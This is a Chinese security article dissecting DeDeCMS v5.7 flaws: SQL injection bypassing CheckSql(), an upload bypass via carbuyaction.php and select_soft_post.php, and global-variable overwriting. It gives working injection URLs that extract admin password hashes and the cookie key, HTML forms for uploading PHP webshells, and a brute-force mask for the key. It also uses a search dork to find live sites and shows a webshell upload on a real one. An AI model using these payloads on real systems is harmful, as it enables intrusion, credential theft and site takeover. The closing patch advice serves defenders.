DeDeCMS v5.7最新漏洞分析
前置知识:PHP
关键词:DeDeCMS
图/文 Cschi
DeDeCMS(织梦CMS)是一款国内比较专业的PHP网站内容管理系统,从2004年发行至今,已经历了无数次的升级和改版,最新版本为v5.7正式版,功能也较强。笔者原本以为这应该是一款安全性比较高的CMS系统,然而分析后令人感到失望,国内比较专业的系统经历几年发展,其安全还是令人堪忧,或许网络原本就没有绝对的安全。
注入漏洞
漏洞一:/member/ajax_membergroup.php,页面的membergroup变量没有过滤导致数字型注入,关键代码如下。
//编辑分组 elseif($action == 'post') { if(empty($membergroup)){ echo "您还没有设置分组!"; exit; } $sql = "UPDATE `#@__member_friends` SET `groupid`='{$membergroup}' WHERE `fid`='{$mid}' AND `mid`='{$cfg_ml->M_ID}';"; $dsql->ExecuteNoneQuery($sql); $row = $dsql->GetOne("SELECT groupname FROM #@__member_group WHERE mid = {$cfg_ml->M_ID} AND id={$membergroup}"); //数字型注入 echo " ".$row['groupname']." <a href='#' onclick='EditMemberGroup($mid);return false;'>修改 </a>"; }
很明显当“action=post”时,$membergroup导致数字型注入漏洞,但是DeDeCMS在访问MySql数据库之前,使用CheckSql()自定义函数对Sql语句进行安全检查,无法直接注入。
漏洞一:绕过防注入。CheckSql()函数定义在/include/dedesql.class.php或/include/dedesqli.class.php数据库类文件中,代码如下。
if (!function_exists('CheckSql')) { function CheckSql($db_string,$querytype='select') {global $cfg_cookie_encode; $clean = '';$error='';$old_pos = 0;$pos = -1; ... //如果是普通查询语句,直接过滤一些特殊语法 if($querytype=='select') {$notallow1= "[^0-9a-z@\._-]{1,}(union|sleep|benchmark|load_file|outfile)[^ 0-9a-z@\.-]{1,}"; //[^0-9a-z@\._-]{1,}即至少1个非数字、小写字母、 @等字符 if(preg_match("/".$notallow1."/", $db_string)) {//① preg_match未使用参数i,使用大写绕过,如 Union puts(fopen($log_file,'a+'),"$userIP||$getUrl||$db_string||SelectB reak\r\n"); exit("<font size='5' color='red'>Safe Alert: Request Error step 1 !</font>"); } } while (TRUE) { $pos = strpos($db_string, '\'', $pos + 1); if ($pos === FALSE) {break; } /*② 假如字符串$db_string中不存在“\'”退出while循环, 存在则继续向下执行*/ $clean .= substr($db_string, $old_pos, $pos - $old_pos); while (TRUE) { ... } $clean .= '$s$'; /*③ 将字符串$db_string中"\'"和"\'"之间的字符转 为"$s$",即信任之间的字符串,绕过防注入的部分 $old_pos = $pos + 1; } … } } $clean .= substr($db_string, $old_pos); $clean = trim(strtolower(preg_replace(array('~\s+~s' ), array(' '), $clean))); //④ "\s"匹配任何空白字符,包括空格、制表符、换页符 等,$clean转为小写 //⑤ 再次检查union关键字 if (strpos($clean, 'union') !== FALSE && preg_match('~(^|[^a-z])union($|[^[a-z])~s', $clean) != 0) { $fail = TRUE; $error="union detect"; } //⑥依次检查--、#、benchmark、load_file、outfile、select 等关键字 elseif (strpos($clean, '/*') > 2 || strpos($clean, '--') !== FALSE || strpos($clean, '#') !== FALSE) {...} //这些函数不会被使用,但是黑客会用它来操作文件, down掉数据库 elseif (strpos($clean, 'sleep') !== FALSE && preg_match('~(^|[^a-z])sleep($|[^[a-z])~s', $clean) != 0) ... /*老版本的MYSQL不支持子查询,我们的程序里可能 也用得少,但是黑客可以使用它来查询数据库敏感信息*/ elseif (preg_match('~\([^)]*?select~s', $clean) != 0) {...} if (!empty($fail)) {/*存在限制的Sql关键字,写日志文件$log_file,输出 “Safe Alert: Request Error step 2!”*/ fputs(fopen($log_file,'a+'),"$userIP||$getUrl||$db_string||$error\ r\n"); exit("<font size='5' color='red'>Safe Alert: Request Error step 2!</font>"); } else {//⑦不存在限制的Sql关键字,返回$db_string字符串 return $db_string; }
语句①使用正则表达式过滤Sql关键字,但是因为没有参数“i”,导致可以使用大写绕过,比如“Union”等,While循环实现将字符串(Sql语句)中转义单引号之间的字符转为“$s$”,不予检查,此举意图是信任转义单引号之间的字符,即允许提交包含Sql关键字的文字,比如发表新文章的内容,但是也因此产生了安全漏洞。
漏洞利用。构造membergroup变量值为“@`'`Union select pwd from `%23@__admin` where 1 or id=@`'`”,注意:“Union”不能全为小写“union”;前后使用“@`'`”。当变量提交后,Sql语句成为“SELECT groupname FROM #@__member_group WHERE mid = 8 AND id=@`\'` Union select pwd from`%23@__admin` where 1 or id=@`\'`”,mid为当前用户id,首先大写Union绕过防注入语句①,然后防注入会将“\'”之间的字符串认为可信任的,对于其中的字符串不再做防注入过滤,尽管其中含有union、select等关键字!在CheckSql()函数中添加输出语句如下,可以直观地看到转换前后的Sql语句及注入结果,如图1所示。
图1
… echo "原字符串:".$db_string."<br>"; //完整的Sql检查 while (TRUE) { … } $clean .= substr($db_string, $old_pos); $clean = trim(strtolower(preg_replace(array('~\s+~s' ), array(' '), $clean))); echo "转换以后:".$clean."<br>"; …
这里注出的是substr(md5($this->userPwd),5,20)值,我们可以去掉前3位和最后一位,使其成为16位MD5码,如“7a57a5a743894a0e”,再进行暴力破解。常用的注入链接如下。
注入管理员密码: http://127.1/member/ajax_membergroup.php?action=post& membergroup=@`'` Union select pwd from `%23@__admin` where 1 or id=@`'` /*如果存在多个管理员时,可以将where条件改为“id=1 or id=@`'`”或“userid=0x61646D696E or id=@`'`”*/ 注入$cfg_cookie_encode http://127.1/member/ajax_membergroup.php?action=post& membergroup=@`'` Union select value from `%23@__sysconfig` where aid=3 or aid=@`'` /*在获得$cfg_cookie_encode后,我们可以直接利用漏洞 二。另外在“/data/'.md5($cfg_cookie_encode).'_safe.txt'”文件 中记录着注入痕迹*/
漏洞二:/member/edit_fullinfo.php页面,即更改详细资料页面,如图2所示。
图2
该页面中$inadd_f变量没有过滤导致注入,代码如下。
if($dopost=='save'){ //这里完成详细内容填写 ... if(!empty($dede_fields)) { if($dede_fieldshash != md5($dede_fields.$cfg_cookie_encode)) { howMsg('数据校验不对,程序返回', '-1'); exit(); } /*①$cfg_cookie_encode值必须已知,才能提交 符合条件的$dede_fieldshash*/ } $modelform = $dsql->GetOne("SELECT * FROM #@__member_model WHERE id='$modid' "); if(!is_array($modelform)) { howmsg('模型表单不存在','-1');exit();} //②$modid值必须正确 $inadd_f = ''; if(!empty($dede_fields)) { $fieldarr = explode(';', $dede_fields); /*③用“;”将 $dede_fields变量分割成为数组*/ if(is_array($fieldarr)) //即$dede_fields变量至少 必须包含一个“;” { foreach($fieldarr as $field) { if($field == '') continue; $fieldinfo=explode(',',$field*/); /*④用“,” 将$field分割成为数组 if($fieldinfo[1] == 'textdata') { ${$fieldinfo[0]} = FilterSearch(stripslashes(${$fieldinfo[0]})); ${$fieldinfo[0]} = addslashes(${$fieldinfo[0]}); } else if ($fieldinfo[1] == 'img') { ${$fieldinfo[0]} = addslashes(${$fieldinfo[0]}); } else { if(empty(${$fieldinfo[0]})) ${$fieldinfo[0]} = ''; ${$fieldinfo[0]} = GetFieldValue(${$fieldinfo[0]}, $fieldinfo[1],0,'add','','diy', $fieldinfo[0]); } if($fieldinfo[0]=="birthday") ${$fieldinfo[0]}=GetDateMk(${$fieldinfo[0]}); $inadd_f .= ','.$fieldinfo[0]." ='".${$fieldinfo[0]}."'"; //⑤将用“,”分割成的数组名和值引入$inadd_f 中 } } } $inadd_f=preg_replace('/,/','',$inadd_f,1); $query = "UPDATE `{$membermodel->table}`set {$inadd_f}WHERE mid='{$cfg_ml->M_ID}'"; //⑥将 $inadd_f引入Sql语句中 // 清除缓存 $cfg_ml->DelCache($cfg_ml->M_ID); //调用$dsql->ExecuteNoneQuery($query)执行Sql语句 }
通过分析可以得出:①$cfg_cookie_encode值必须已知,才能提交符合条件的$dede_fieldshash,提交的$modid值必须正确,查看该页面源码即可获得 $modid值。②$dede_fields变量形式必须为“变量1名称,变量1类型;变量2名称,变量2类型;…”,最后$inadd_f变量值为“,变量1名称=‘变量1值’,变量2名称=‘变量2值’,…”。③$inadd_f直接引入Sql语句,因此可以使用自查询将需要注出的内容写入个人资料中。
获取$cfg_cookie_encode值。此值是能否成功利用漏洞二的关键,除了利用漏洞一外,还可以通过暴力破解MD5码获取。使用$cfg_cookie_encode变量的用户页面很多,我们选择“上传软件”页面,查看页面源码,搜索“dede_fieldshash”字符串,如图3所示,其中$dede_fieldshash值为MD5($dede_addonfields.$cfg_cookie_enco de),由于$dede_addonfields值为空,所以获得的$dede_fieldshash值就是$cfg_cookie_encode变量的MD5码。
图3
DeDeCMS安装时,$cfg_cookie_encode变量默认生成规则为:
$rnd_cookieEncode = chr(mt_rand(ord('A'),ord('Z'))).chr(mt_rand(ord('a'),ord('z'))).ch r(mt_rand(ord('A'),ord('Z'))).chr(mt_rand(ord('A'),ord('Z'))).chr( mt_rand(ord('a'),ord('z'))).mt_rand(1000,9999).chr(mt_rand(ord ('A'),ord('Z')));
形式如:AaAAa9999A,即前5位为英文字母,分别为大写、小写、大写、大写、小写,然后是4位数字,最后一位为大写英文字母,一共10位。暴力破解工具选择MD5Crack4,因为这个版本可以按指定的规则进行破解,如图4所示。
图4
首先输入待破解的MD5码,然后选中①处的“Plugins”,选中②处的“Templet Plug 2.0”,在③处输入密码规则 :[A-Z][a-z]2[A-Z][a-z][1-9]3[0-9][A-Z],④处对规则做了一些简单说明,译文如下。
首先,让我们看一个例子:[p][r]3[a-z]2-4{0,3,6-8}。 模式中包括的“[]”或“{}”为基本元素,其中指定字 符集,可以用“,”列出字符,或用“-”表示连接的范围。 基本元素之前的数字表示重复次数,不指定时默认为1。 []和{}的区别如下。 ① 默认(前面无数字)[]是指重复1次,{}是指重复0 或1次。 ② 前面1个数字(如:x[...],x{...}),[]是指重复x次, {}是重复0到x次。 ③ 前面2个数字(如:x-y[...],x-y{...}),[]和{}是相同 的,指重复x到y次。 [...]==1-1[...] {...}==0-1{...} 3[...]==3-3[...] 3{...}==0-3{...} 还有更多的例子: [a][b][c] : abc [a,b,c] == [a-c] : a;b;c {a-c} : NULL;a;b;c 2[a-c] : aa;ab;ac;ba;bb;bc 2{a-c} : NULL;a;b;c;aa;ab;ac;ba;bb;bc;ca;cb;cc
随后就可以开始破解了。一旦获得$cfg_cookie_encode变量,我们就可以顺利注入,提交页面代码如下(注意必须将document.getElementById(‘dede_fields') .value值中的单引号替换为转义单引号,即“'”转为“\'”)。
<form method="post" action="http://127.1/member/edit_fullinfo.php" name="form1"> dopost:<input type="text" value="save" name="dopost"/><br> modid:<input type="text" value="1" name="modid"/><br> cfg_cookie_encode:<input type="text" value="MhHTi3472T" name="cfg_cookie_encode" /><br> dede_fields:<input type="text" value="" name="dede_fields" size=50/><br> <input type="hidden" value="1" name="dede_fieldshash"/> <button type="submit" onclick="javascript:var s1=document.getElementById('dede_fields').value.replace('\'','\\ \'');var s2=document.getElementById('cfg_cookie_encode').value;docu ment.getElementById('dede_fieldshash').value=hex_md5(s1+s2 );">完 成 </button> </form> <script> …(略) // hex_md5()为JavaScript版MD5加密函数 </script>
利用如图5所示的页面,提交后完成注入,页面转向后获得管理员的密码,如图6所示。
图5
图6
当dede_fields=@`qq'`;uname=(select pwd from %23@__admin where id=1) where mid=8%23,int时,语 句执行失败:UPDATE `dede_member_person` SET `mid`='8' ,@`qq\'` ='' ,uname=(select pwd from #@__admin where id=1) where mid=8# ='0' WHERE `mid`='8'; 当dede_fields=qq=@`qq'`;uname=(select pwd from %23@__admin where id=1) where mid=8%23,int时,语 句执行成功:UPDATE `dede_member_person` SET `mid`='8' ,qq=@`qq\'` ='' ,uname=(select pwd from #@__admin where id=1) where mid=8# ='0' WHERE `mid`='8'; MySql版本为5.0.90
测试注入时注意“@”定义变量的用法,“qq=@`qq\'` =''”表示执行成功,而“@`qq\'`=''”表示执行不成功。
上传漏洞
其实DeDeCMS对上传进行了严格的限制。首先使用/include/uploadsafe.inc.php禁止某些文件类型,如“php、pl、cgi、asp、aspx、jsp、php3、shtm、shtml”,然后上传时再次进行允许和禁止判断,限制应该是很严格的,但是/include/dialog/select_soft_post.php文件存在失误,导致可以绕过这些限制上传asp木马文件。主要代码如下。
<?php if(!isset($cfg_basedir))/*① 如果$cfg_basedir变量没有定 义,则包含config.php文件*/ { include_once(dirname(__FILE__).'/config.php'); } . $newname=(empty($newname)?'':preg_replace("#[\\ \"\*\?\t\r\n<>':\/|]#","",$newname)); //②过滤新文件名中的 正斜杠、反斜杠、空格、单引号等符号 ... $uploadfile_name= trim(preg_replace("#[\r\n\t\*\%\\\/\?><\|\":]{1,}#",'', $uploadfile_name)); if(!preg_match("#\.(".$cfg_softtype.")#i", $uploadfile_name)) { //$cfg_softtype='zip|gz|rar|iso|doc|xsl|ppt|wps' /*③进行允许$cfg_softtype类型判断。因为正则表达 式缺少“$”,所以“.zip.asp”将满足条件,还可以将上传文件 的扩展名改为rar等*/ ShowMsg("你所上传的{$uploadmbtype}不在许可列 表,请更改系统对扩展名限定的配置!","");exit(); } if($activepath==$cfg_soft_dir) { //$cfg_soft_dir=$cfg_medias_dir.'/soft',提交空变量 $activepath使条件不成立 ... } if(!empty($newname))//上传后的新文件名 { $filename=$newname; if(!preg_match("#\.#",$filename))$fs=explode('.', $uploadfile_name); else$fs=explode('.',$filename); //④新文件名包含“.”,取新文件扩展名,否则取上 传文件扩展名 if(preg_match("#".$cfg_not_allowall."#", $fs[count($fs)-1])) { //$cfg_not_allowall= "php|pl|cgi|asp|aspx|jsp|php3|shtm|shtml"; /*⑤再次进行禁止$cfg_not_allowall类型判断, 因为正则表达式缺少“i”,所以可以通过大写绕过*/ ShowMsg("你指定的文件名被系统禁止! ",'javascript:;'); exit(); } if(!preg_match("#\.#",$filename))$filename= $filename.'.'.$fs[count($fs)-1]; }else{$filename= $cuserLogin->getUserID().'-'.dd2char(MyDate('ymdHis',$nowt me)); /*自动生成文件名,由于getUserID()函数定义在 userlogin.class.php中,一般无法调用,所以我们上传时指定 新文件名*/ ... } $fullfilename=$cfg_basedir.$activepath.'/'.$filename;/*文 件上传到网站根目 录*/ $fullfileurl=$activepath.'/'.$filename; move_uploaded_file($uploadfile,$fullfilename)or die("上 传文件到 $fullfilename 失败!"); //⑥PHP 的move_uploaded_file() 函数将上传的文件移 动(复制)到新位置的$fullfilename文件
与include/dialog目录其他文件不同,该文件没有直接包含config.php文件(包含config.php文件时,会要求以管理员身份登录后才能继续访问),而是增加了语句①进行判断$cfg_basedir变量,如果没有定义则强制包含config.php文件,这样的意图是不允许直接访问select_soft_post.php文件,但是这样做同样是危险的,一旦$cfg_basedir变量已经定义,将绕过config.php文件的限制,具体的方法是以包含方式调用select_soft_post.php。因为语句②过滤了正、反斜杠,所以不能进行目录跳转,默认上传到网站根目录。语句③进行允许$cfg_softtype类型判断,因为正则表达式缺少“$”,所以“.zip.asp”将满足条件,还可以将上传文件扩展名改为允许上传的类型,如rar等。语句④判断新文件名是否包含“.”,是则取新文件名的扩展名。语句⑤再次进行禁止$cfg_not_allowall类型判断,因为正则表达式缺少“i”,所以可以通过大写绕过。语句⑥完成上传文件的复制。
包含方式调用select_soft_post.php。由于语句①要求$cfg_basedir变量必须初始化,所以必须以包含方式调用select_soft_post.php文件,才能绕过config.php文件限制。分析页面“/plus/carbuyaction.php”,主要代码如下。
if($cfg_mb_open == 'N') { ShowMsg("系统关闭了会员功能,因此你无法访问 此页面!","javascript:;"); exit(); } //①要求系统开启会员功能 $cfg_ml = new MemberLogin(); if(!isset($dopost) || empty($dopost)){ ... } else if ($dopost == 'memclickout') { $svali = GetCkVdValue(); if(preg_match ("/S-P[0-9]+RN[0-9]/",$oid)) { $oid=trim($oid); } else { ShowMsg("您的订单号不存在! ","/member/shops_orders.php",0,2000); exit(); } //②要求$oid变量符合正则表达式 if($cfg_ml->IsLogin()) { $userid = $cfg_ml->M_ID; } else { ... //验证用户名、密码 } //③要求用户登录 $row=$dsql->GetOne("SELECT * FROM `#@__shops_orders` WHERE oid='$oid' "); if(is_array($row)){ $OrdersId=$oid; $CartCount=$row['cartcount']; $priceCount=$row['priceCount']; $pid=$row['pid']; $rs = $dsql->GetOne("SELECT * FROM `#@__payment` WHERE id='{$row['paytype']}' "); } /*④当$row不是数组,即if条件不成立,不会重写 变量$rs,所以外部提交$rs['code']变量,实现包含调用 select_soft_post.php文件*/ require_once DEDEINC.'/payment/'.$rs['code'].'.php'; }
分析代码可以知道:语句①和③要求系统开启会员功能并且登录用户;语句②要求变量$oid符合正则表达式“S-P[0-9]+RN[0-9]”,即以“S-P”开头,加数字,加“RN”,最后是数字;语句④是导致可以包含调用的关键,当$row不是数组,即Sql语句无返回结果,这时就可以外部提交$rs['code']变量,实现包含调用select_soft_post.php文件。给出利用链接:“http://127.1/plus/carb uyaction.php?dopost=memclickout&oid=S-P0RN8888&rs[code]=../dialog/select_soft_post”,访问页面如图7所示。
图7
将下面的源码另存为upload1.htm,获得提交页面,如图8所示。
<form action="http://127.1/plus/carbuyaction.php?dopost=memclicko ut&oid=S-P0RN8888&rs[code]=../dialog/select_soft_post" method="post" enctype="multipart/form-data" name="form1"> file:<input name="uploadfile" type="file" /><br> newname:<input name="newname" type="text" value="myfile.Php"/> <button class="button2" type="submit">提交 </button><br><br> 1,必须登录用户。<br> 2,将待上传PHP文件扩展名改为 “zip|gz|rar|iso|doc|xsl|ppt|wps”其中之一。<br> 3,newname为上传后的新文件名,扩展名使用大写绕过, 如“Php”。<br> </form>
图8
提交后尽管页面出错,如图9所示,但是myfile.Php文件已经成功上传到网站根目录。
图9
漏洞影响:DeDeCMS v5.6和v5.7所有版本。因为v5.6使用eregi函数进行正则判断,忽略大小写,所以无法绕过CheckSql函数的“Safe Alert:Request Error step 1 !”过滤,不存在注入漏洞,但是却存在上传漏洞。比较v5.6与v5.7页面代码,“/plus/carbuyaction.php”一致,仅“/dialog/select_soft_post.php”略有不同,代码如下。
…
$uploadfile_name =
trim(ereg_replace("[ \r\n\t\*\%\\/\?><\|\":]{1,}",'',$uploadfile_na
me));
if(!eregi("\.(".$cfg_softtype.")",$uploadfile_name))
{
ShowMsg("你所上传的{$uploadmbtype}不在许可列
表,请更改系统对扩展名限定的配置!","");
exit();
}//将待上传文件的扩展名改为rar等,绕过这里的限制
if(!empty($newname))
{
$filename = $newname;
if(!ereg("\.", $filename)) $fs = explode('.',
$uploadfile_name);
else $fs = explode('.', $filename);
if(eregi($cfg_not_allowall, $fs[count($fs)-1]))
{
ShowMsg("你指定的文件名被系统禁止!
",'javascript:;');
exit();
}/*虽然使用eregi函数进行正则判断,无法利用大写
绕过,但是只要在变量$newname值最后增加一个“.”,就可
以绕过了*/
if(!ereg("\.", $filename)) $filename =
$filename.'.'.$fs[count($fs)-1];
}
…
只要我们在变量$newname最后增加一个“.”,就可以绕过限制了,比如“myfile.php.”,代码获取的文件扩展名“$fs[count($fs)-1]”是空值,所以不满足条件“eregi($cfg_not_allowall,$fs[count($fs)-1])”,因此页面不执行“exit()”,继续上传文件。
全局变量漏洞
由于DeDeCMS对全局变量限制不严格,导致可以外部提交全局变量,漏洞影响2011年8月12日升级之前v5.7和v5.6所有版本。DeDeCMS限制提交以“cfg_|GLOBALS”开头的变量名,include/common.inc.php相关代码如下。
===============8月12日升级前 =============== if (!defined('DEDEREQUEST')) { //检查和注册外部提交的变量 foreach($_REQUEST as $_k=>$_v) //语句① { if( strlen($_k)>0 && preg_match('/^(cfg_|GLOBALS)/',$_k) ) { exit('Request var not allow!'); } } foreach(Array('_GET','_POST','_COOKIE') as $_request) //语句② { foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v); } } ==============8月12日升级后 ================ if (!defined('DEDEREQUEST')) { //检查和注册外部提交的变量 (2011.8.10 修改登 录时相关过滤) function CheckRequest(&$val) { if (is_array($val)) { foreach ($val as $_k=>$_v) { CheckRequest($_k); CheckRequest($val[$_k]); } } else { if( strlen($val)>0 && preg_match('#^(cfg_|GLOBALS)#',$val) ) { exit('Request var not allow!'); } } } CheckRequest($_REQUEST); foreach(Array('_GET','_POST','_COOKIE') as $_request) { foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v); } }
升级后增加了对提交变量名和值的过滤,我们分析升级前代码。语句①不允许以$_REQUEST方式提交“cfg_|GLOBALS”开头的变量名,由于PHP以数组方式存储变量,所以我们可以使用“_POST[cfg_xxx]”方式进行提交。修改tags.php文件如下,观察输出的页面全局变量。
<?php /** *@version $Id:tags.php 1 2010-06-30 11:43:09Z tianya $ *@package DedeCMS.Site *@copyright Copyright(c)2007-2010,DesDev, Inc. * @license http://help.dedecms.com/usersguide/license.html *@link http://www.dedecms.com */ require_once (dirname(__FILE__) . "/include/common.inc.php"); require_once (DEDEINC . "/arc.taglist.class.php"); $PageNo = 1; print_r($GLOBALS); exit; //增加这两行代码,输出全局变量 if(isset($_SERVER['QUERY_STRING'])) …
在URL中提交_POST[cfg_var]=Y,然后查看页面源码,观察_GET和_POST数组,如图10所示,当执行语句②后,_GET数组中的变量被转为_POST数组中,最后转为全局变量,如图11所示。
图10
图11
分析DeDeCMS获取和注册变量的过程如下。
if (!defined('DEDEREQUEST')) { …(略)//检查和注册外部提交的变量,语句①,代码 见前文 } //系统配置参数,语句② require_once(DEDEDATA."/config.cache.inc.php"); //数据库配置文件,语句③ require_once(DEDEDATA.'/common.inc.php'); …(略) //模板的存放目录,语句④ $cfg_templets_dir = $cfg_cmspath.'/templets'; $cfg_templeturl = $cfg_mainsite.$cfg_templets_dir; …(略)
首先语句①检查外部提交的变量,然后语句②、③初始化全局变量(系统配置参数、数据库配置参数),最后语句④初始化网站的其他全局变量。所以即使语句①成功提交了以“cfg_”开头的网站全局变量,比如提交“cfg_mb_open”(是否开启会员功能)值为“Y”,随后还是会被初始化为网站设置值,目前还无法修改全局变量。此方法适合以c GET方式提交_POST和_COOKIE、以POST方式提交_COOKIE。
修改全局变量。DeDeCMS同时还通过include/filter.inc.php包含文件过滤不相关内容,比如禁止提交$cfg_notallowstr变量定义的字符,过滤$cfg_replacestr变量定义的字符为“***”等,代码如下。
//过滤不相关内容 function _FilterAll($fk, &$svar) { global $cfg_notallowstr,$cfg_replacestr; if( is_array($svar) ) { foreach($svar as $_k => $_v) { $svar[$_k] = _FilterAll($fk,$_v); } } else { …//禁止提交$cfg_notallowstr变量定义的字符 } return $svar; } /* 对_GET,_POST,_COOKIE进行过滤 */ foreach(Array('_GET','_POST','_COOKIE') as $_request) { foreach($$_request as $_k => $_v) { ${$_k} = _FilterAll($_k,$_v); //注册变量并过滤 变量值 } }
过滤不相关内容的同时注册变量,搜索“filter.inc.php”文件包含情况,如图12所示,如member/config.php文件,首先包含common.inc.php文件,然后再包含filter.inc.php文件,因此可以修改以“cfg_”开头的全局变量。图中这几个页面文件及包含这几个文件的页面均可以提交和修改全局变量,几乎member目录中所有的页面文件均受此影响。
图12
利用一:绕过注册限制注册新会员。变量cfg_mb_open决定是否开启会员功能,变量cfg_mb_allowreg决定是否开启新会员注册功能,“N”为关闭,否则开启功能,所以即使网站关闭会员功能,只要提交cfg_mb_allowreg变量不为“N”,便可以成功注册新会员,提交cfg_mb_open变量不为“N”,则可以使用曾经注册的会员继续登录。绕过的方法有:
① 修改注册提交页面源码,将form的action值改为 “http://127.1/member/reg_new.php?_POST[cfg_mb_allowreg] =Y”,其中“127.1”根据实际修改。 ② 修改注册提交页面源码,在form中增加“input”元 素,name属性为“_COOKIE[cfg_mb_allowreg]”,值为“Y” (非“N”)。
利用二:注册已审核新会员。DeDeCMS系统默认设置时,新注册会员需要邮件验证,全局变量cfg_mb_spacesta值为会员使用权限开通状态,默认 “-10”为需要邮件验证,“-1”为手工审核, “0”为没限制,注册页面reg_new.php的代码如下。
$spaceSta = ($cfg_mb_spacesta < 0 ? $cfg_mb_spacesta : 0); $inQuery = "INSERT INTO `#@__member` (`mtype` ,`userid` ,`pwd` ,`uname` ,`sex` ,`rank` ,`money` ,`ema il`,`scores`, `matt`, `spacesta` ,`face`,`safequestion`,`safeanswer` ,`jointime` ,`joini p` ,`logintime` ,`loginip` ) VALUES ('$mtype','$userid','$pwd','$uname','$sex','10', '$dfmoney','$email','$dfscores', '0','$spaceSta','','$safequestion', '$safeanswer','$jointime','$joinip','$logintime','$loginip'); "; if($dsql->ExecuteNoneQuery($inQuery)) …
所以提交变量$cfg_mb_spacesta值不小于0时,注册的会员将不需要邮件验证和审核,利用前文的方法②修改注册提交页面源码,提交不含“1”的变量safe_gdopen可以绕过验证码限制,详细利用略。
利用三:全局变量注入。使用DW在member目录搜索“(select |update |insert ).*(cfg_)”字符串(即使用全局变量的Sql语句),如图13所示,获得album_add.php、archives_add.php、article_add.php等页面 ,使用“$cfg_sendarc_scores”全局变量,并且以数字型引入SQL语句,如“"UPDATE `#@__member` SET scores=scores+{$cfg_sendarc_scores}WHERE mid='".$cfg_ml->M_ID. "' ; "”。
图13
前文提及的注入漏洞二必须获知$cfg_cookie_encode变量,这里我们完全可以提交变量$cfg_cookie_encode为空,满足条件,受影响页面有memmber目录中的reg_new.php、edit_fullinfo.php等页面。详细利用略。
利用四:全局变量上传木马。会员上传页面为member目录中的uploads_add.php、uploads_edit.php等 ,上传函数MemberUploads定义在include/helpers/upload.helper.php文件,分析代码如下。
function MemberUploads($upname,$handname,$userid=0,$utype='imag e',$exname='',$maxwidth=0,$maxheight=0,$water=false,$isad min=false) { ...(略) $allAllowType = str_replace('||', '|', $cfg_imgtype.'|'.$cfg_mediatype.'|'.$cfg_mb_addontype); /*①提交全局变量$cfg_imgtype、$cfg_mediatype、 $cfg_mb_addontype,自定义允许上传的文件类型*/ if(!empty($GLOBALS[$upname]) && is_uploaded_file($GLOBALS[$upname])) { $nowtme = time(); $GLOBALS[$upname.'_name'] = trim(preg_replace("#[ \r\n\t\*\%\\\/\?><\|\":]{1,}#",'',$GLOBAL S[$upname.'_name'])); //②过滤上传文件名中的空格等符号 if($utype=='image') //③分别检查image、flash、 media等文件类型 { ... } //再次严格检测文件扩展名是否符合系统定义的类 型 $fs = explode('.', $GLOBALS[$upname.'_name']); $sname = $fs[count($fs)-1]; //上传文件的扩展名 $alltypes = explode('|', $allAllowType); if(!in_array(strtolower($sname), $alltypes)) /*④$alltypes含扩展名小写*/ { ShowMsg('你所上传的文件类型不被允许!', '-1'); exit(); } //强制禁止的文件类型 if(preg_match("/(asp|php|pl|cgi|shtm|js)$/", $sname)) /*⑤大写绕过,如Php*/ { ShowMsg('你上传的文件为系统禁止的类型!', '-1'); exit(); } … move_uploaded_file($GLOBALS[$upname], $cfg_basedir.$filename)or die("上传文件到 {$filename} 失 败!"); /*⑥使用move_uploaded_file函数完成文件上传*/ @unlink($GLOBALS[$upname]); }
我们可以提交全局变量$cfg_imgtype、$cfg_mediatype、$cfg_mb_addontype,自定义允许上传的文件类型,使用大写扩展名并增加空格等符号,比如“Php”等,首先绕过include/uploadsafe.inc.php对php类型的限制,然后经过代码②过滤空格后绕过代码⑤限制,最后使用move_uploaded_file函数完成文件上传。漏洞利用必须登录用户,将下面代码另存为upload2.htm,页面如图14所示。
图14
<form name="form1"action="http://127.1/member/ uploads_add.php"method="post"enctype="multipart/ form-data" > <input type="hidden"name="mediatype"value="4"/> <input type="hidden" name="_GET[cfg_mb_addontype]"value="Php|Php|php" /> <input type="hidden" name="dopost" value="save" /> <input name="addonfile" type="file" id="addonfile" /> <button class="button2" type="submit" >提交</button> </form>
将待上传的Php文件扩展名改为“Php”,然后利用该页面完成上传,从地址栏得到新文件名,如图15所示。
图15
全局变量漏洞判断。在地址栏提交“_POST[cfg_xxx]”,如果页面返回“Request var not allow!”则表明安装过8月12日补丁,不存在全局变量漏洞,如果页面没有出错返回正常,则存在该漏洞,如图16所示。
图16
或者访问“data/admin/ver.txt”文件,获取系统最后升级时间,确认是否安装过8月12日补丁。访问“/data/admin/verifies.txt”,获得指纹码最后同步时间。
系统最后升级时间:http://127.1/data/admin/ver.txt 指纹码最后同步时间:http://127.1/data/admin/verifies.txt
几个常见的指纹码同步时间:
20110216 DedeCmsV5.7-GBK-Final或V5.6到 V5.7GBK升级程序 20100324 DedecmsV55-GBK-Final 20100514 DedeCmsV5.6-GBK-Final
漏洞利用实例
百度搜索关键字“Powered by DedeCMSV57_GBK 2004-2011 DesDev Inc”,获得使用DeDeCMS系统的网站。
注入漏洞。首先访问“/data/admin/ver.txt”页面获取系统最后升级时间,如图17所示,说明已经修补2011年8月12日补丁。
图17
然后访问“/member/ajax_membergroup. php?action=post&membergroup=1”页面,如图18所示,说明存在该漏洞。
图18
访问页面链接“/member/ajax_membergroup. php?action=post&membergroup=@`'` Union select pwd from `%23@__admin` where 1 or id=@`'`”,如图19所示,去掉前3位和最后一位,得到管理员的16位MD5码,www.cmd5.com在线破解成功。
图19
上传漏洞。要求网站开启新会员注册功能,首先注册新会员,无须通过邮件验证,只要登录会员中心,然后访问页面链接“/plus/carbuyaction.php? dopost=memclickout&oid =S-P0RN8888&rs[code]=../dialog/select_soft_post”,如图20所示,说明通过,“/plus/carbuyaction.php”已经成功调用了上传页面“/dialog/select_soft_post”。
图20
将Php一句话木马扩展名改为“rar”等,提交页面upload1.htm,如图21所示,直接上传成功,如图22所示。
图21
图22
漏洞修补
目前官方没有升级包,简单的防止注入修补方法可以将ajax_membergroup.php页面删除,或者给CheckSql()自定义函数中的preg_match函数增加“i”参数,防止上传的方法可以过滤“/include/dialog/select_soft_post.php”文件中的变量$newname,限制其以字符“.”、“?”及空格等结束。